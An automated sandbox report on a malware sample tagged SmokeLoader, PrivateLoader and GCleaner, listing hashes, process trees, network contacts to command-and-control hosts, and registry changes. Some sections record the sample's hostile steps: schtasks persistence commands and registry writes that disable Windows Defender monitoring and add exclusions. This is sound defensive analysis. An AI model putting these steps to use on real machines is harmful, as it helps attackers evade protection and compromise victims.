Malware Analysis Report

2024-11-13 19:59

Sample ID 241106-wcdw5sxjhr
Target c8a7719e5f574a0c18566216551ae6e7bdae33f3
SHA256 4c1fc6a16f378978da7c35f36525a4397a983255020fb709d0ad8cbe3f1e38e5
Tags
smokeloader backdoor discovery trojan spyware stealer vmprotect loader privateloader gcleaner defense_evasion evasion execution persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4c1fc6a16f378978da7c35f36525a4397a983255020fb709d0ad8cbe3f1e38e5

Threat Level: Known bad

The file c8a7719e5f574a0c18566216551ae6e7bdae33f3 was found to be: Known bad.

Malicious Activity Summary

smokeloader backdoor discovery trojan spyware stealer vmprotect loader privateloader gcleaner defense_evasion evasion execution persistence

GCleaner

SmokeLoader

Smokeloader family

Windows security bypass

Gcleaner family

Modifies Windows Defender Real-time Protection settings

Privateloader family

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks BIOS information in registry

Loads dropped DLL

Reads user/profile data of web browsers

Executes dropped EXE

Indirect Command Execution

Checks computer location settings

VMProtect packed file

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Drops Chrome extension

Drops desktop.ini file(s)

Checks installed software on the system

Suspicious use of SetThreadContext

Enumerates processes with tasklist

Drops file in System32 directory

Drops file in Program Files directory

Drops file in Windows directory

Program crash

Unsigned PE

System Network Configuration Discovery: Internet Connection Discovery

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Suspicious behavior: GetForegroundWindowSpam

Scheduled Task/Job: Scheduled Task

Suspicious use of SendNotifyMessage

Runs ping.exe

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-06 17:46

Signatures

Privateloader family

privateloader

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win7-20241010-en

Max time kernel

117s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\6523.exe"

Signatures

SmokeLoader

trojan backdoor smokeloader

Smokeloader family

smokeloader

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\PL\6523.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\6523.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\6523.exe

"C:\Users\Admin\AppData\Local\Temp\PL\6523.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 168

Network

N/A

Files

memory/2124-1-0x0000000000550000-0x0000000000650000-memory.dmp

memory/2124-2-0x0000000000400000-0x0000000000409000-memory.dmp

memory/2124-3-0x0000000000400000-0x0000000000448000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

92s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe"

Signatures

Reads user/profile data of web browsers

spyware stealer

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe

"C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.facebook.com udp
GB 163.70.151.35:443 www.facebook.com tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 35.151.70.163.in-addr.arpa udp
US 8.8.8.8:53 69.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 aaa.apiaaaeg.com udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 aaa.apiaaaeg.com udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 102.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 106.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/2208-0-0x0000000140000000-0x000000014060D000-memory.dmp

Analysis: behavioral14

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4072 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe C:\Windows\SysWOW64\regsvr32.exe
PID 4072 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe C:\Windows\SysWOW64\regsvr32.exe
PID 4072 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" -s MYQXM.k

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 76.95.39.48:8080 tcp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 84.65.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\MYQXM.k

MD5 942afe4b6c981193fda8ede7a57fd5bb
SHA1 62e6bb30e5a02920a3bbb1dffa7bd90d699afcd6
SHA256 99128a36e75d6739f15b1c5e8b40b5afe57740e6bf3d573c8636b26f78b2fb88
SHA512 2089221b9d554e51b016415b7e07c65ee0d76b1d3136a9424a98212ca812cb8d263d716d79cc4addca40f2c67df25ad642dfa903b6a641afba219bd9fc797955

memory/2392-4-0x0000000002FF0000-0x000000000311E000-memory.dmp

memory/2392-5-0x0000000003250000-0x0000000003379000-memory.dmp

memory/2392-6-0x0000000000400000-0x00000000005CA000-memory.dmp

memory/2392-7-0x0000000002FF0000-0x000000000311E000-memory.dmp

memory/2392-8-0x0000000003390000-0x000000000344D000-memory.dmp

memory/2392-9-0x0000000003460000-0x0000000003509000-memory.dmp

memory/2392-12-0x0000000003460000-0x0000000003509000-memory.dmp

memory/2392-11-0x0000000003460000-0x0000000003509000-memory.dmp

memory/2392-13-0x0000000003460000-0x0000000003509000-memory.dmp

memory/2392-15-0x0000000005400000-0x00000000054A2000-memory.dmp

memory/2392-14-0x0000000003510000-0x00000000053FF000-memory.dmp

memory/2392-16-0x00000000054C0000-0x000000000555C000-memory.dmp

memory/2392-19-0x00000000054C0000-0x000000000555C000-memory.dmp

memory/2392-20-0x00000000054C0000-0x000000000555C000-memory.dmp

memory/2392-21-0x0000000000B60000-0x0000000000B61000-memory.dmp

memory/2392-23-0x0000000000B70000-0x0000000000B74000-memory.dmp

memory/2392-29-0x0000000003250000-0x0000000003379000-memory.dmp

Analysis: behavioral13

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win7-20240903-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup331.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" -s MYQXM.k

Network

Country Destination Domain Proto
US 76.95.39.48:8080 tcp
US 76.95.39.48:8080 tcp

Files

C:\Users\Admin\AppData\Local\Temp\MYQXM.k

MD5 942afe4b6c981193fda8ede7a57fd5bb
SHA1 62e6bb30e5a02920a3bbb1dffa7bd90d699afcd6
SHA256 99128a36e75d6739f15b1c5e8b40b5afe57740e6bf3d573c8636b26f78b2fb88
SHA512 2089221b9d554e51b016415b7e07c65ee0d76b1d3136a9424a98212ca812cb8d263d716d79cc4addca40f2c67df25ad642dfa903b6a641afba219bd9fc797955

memory/1280-4-0x0000000002400000-0x00000000025CA000-memory.dmp

memory/1280-6-0x0000000002C30000-0x0000000002D59000-memory.dmp

memory/1280-5-0x00000000029D0000-0x0000000002AFE000-memory.dmp

memory/1280-7-0x00000000029D0000-0x0000000002AFE000-memory.dmp

memory/1280-8-0x0000000002400000-0x00000000025CA000-memory.dmp

memory/1280-10-0x0000000002D60000-0x0000000002E1D000-memory.dmp

memory/1280-11-0x0000000000760000-0x0000000000809000-memory.dmp

memory/1280-12-0x0000000000760000-0x0000000000809000-memory.dmp

memory/1280-14-0x0000000000760000-0x0000000000809000-memory.dmp

memory/1280-15-0x0000000000760000-0x0000000000809000-memory.dmp

memory/1280-17-0x0000000004D10000-0x0000000004DB2000-memory.dmp

memory/1280-16-0x0000000002E20000-0x0000000004D0F000-memory.dmp

memory/1280-18-0x0000000004DC0000-0x0000000004E5C000-memory.dmp

memory/1280-20-0x0000000004DC0000-0x0000000004E5C000-memory.dmp

memory/1280-21-0x0000000004DC0000-0x0000000004E5C000-memory.dmp

memory/1280-22-0x00000000000D0000-0x00000000000D1000-memory.dmp

memory/1280-23-0x00000000000E0000-0x00000000000E4000-memory.dmp

memory/1280-32-0x0000000002C30000-0x0000000002D59000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

95s

Max time network

135s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\6523.exe"

Signatures

SmokeLoader

trojan backdoor smokeloader

Smokeloader family

smokeloader

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\PL\6523.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\6523.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\PL\6523.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\PL\6523.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\PL\6523.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\6523.exe

"C:\Users\Admin\AppData\Local\Temp\PL\6523.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1392 -ip 1392

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1392 -s 460

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 69.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/1392-1-0x00000000004F0000-0x00000000005F0000-memory.dmp

memory/1392-2-0x0000000000400000-0x0000000000409000-memory.dmp

memory/1392-3-0x0000000000400000-0x0000000000448000-memory.dmp

memory/1392-4-0x0000000000400000-0x0000000000448000-memory.dmp

memory/1392-5-0x0000000000400000-0x0000000000409000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\Service.exe"

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\Service.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\Service.exe

"C:\Users\Admin\AppData\Local\Temp\PL\Service.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 telegram.org udp
NL 149.154.167.99:443 telegram.org tcp
FI 163.123.143.4:80 163.123.143.4 tcp
NL 107.182.129.251:80 107.182.129.251 tcp
US 8.8.8.8:53 pastebin.com udp
US 104.20.3.235:443 pastebin.com tcp
US 8.8.8.8:53 4.143.123.163.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 99.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 251.129.182.107.in-addr.arpa udp
US 8.8.8.8:53 wfsdragon.ru udp
US 172.67.133.215:80 wfsdragon.ru tcp
US 8.8.8.8:53 softs-portal.com udp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
US 8.8.8.8:53 235.3.20.104.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 215.133.67.172.in-addr.arpa udp
US 8.8.8.8:53 12.143.123.163.in-addr.arpa udp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
US 8.8.8.8:53 vipsofts.xyz udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral10

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 620

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 880

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 920

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 920

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 952

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 1048

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 1148

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 1184

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 220 -ip 220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 884

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 69.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 208.67.104.97:80 tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 208.67.104.97:80 tcp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 8.8.8.8:53 235.17.178.52.in-addr.arpa udp
US 208.67.104.97:80 tcp

Files

memory/220-3-0x0000000000400000-0x0000000000443000-memory.dmp

memory/220-2-0x0000000000560000-0x000000000059F000-memory.dmp

memory/220-1-0x0000000000750000-0x0000000000850000-memory.dmp

memory/220-4-0x0000000000750000-0x0000000000850000-memory.dmp

memory/220-5-0x0000000000560000-0x000000000059F000-memory.dmp

memory/220-6-0x0000000000400000-0x000000000045E000-memory.dmp

memory/220-7-0x0000000000400000-0x0000000000443000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:49

Platform

win7-20241010-en

Max time kernel

13s

Max time network

20s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe"

Signatures

Reads user/profile data of web browsers

spyware stealer

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2600 wrote to memory of 2800 N/A C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe C:\Windows\system32\WerFault.exe
PID 2600 wrote to memory of 2800 N/A C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe C:\Windows\system32\WerFault.exe
PID 2600 wrote to memory of 2800 N/A C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe C:\Windows\system32\WerFault.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe

"C:\Users\Admin\AppData\Local\Temp\PL\pb1115.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2600 -s 920

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.facebook.com udp
GB 163.70.151.35:443 www.facebook.com tcp
US 8.8.8.8:53 aaa.apiaaaeg.com udp

Files

memory/2600-1-0x0000000140000000-0x000000014060D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab7D3D.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar7D7E.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Analysis: behavioral11

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win7-20240903-en

Max time kernel

97s

Max time network

100s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

Signatures

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" C:\Windows\SysWOW64\reg.exe N/A

Windows security bypass

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
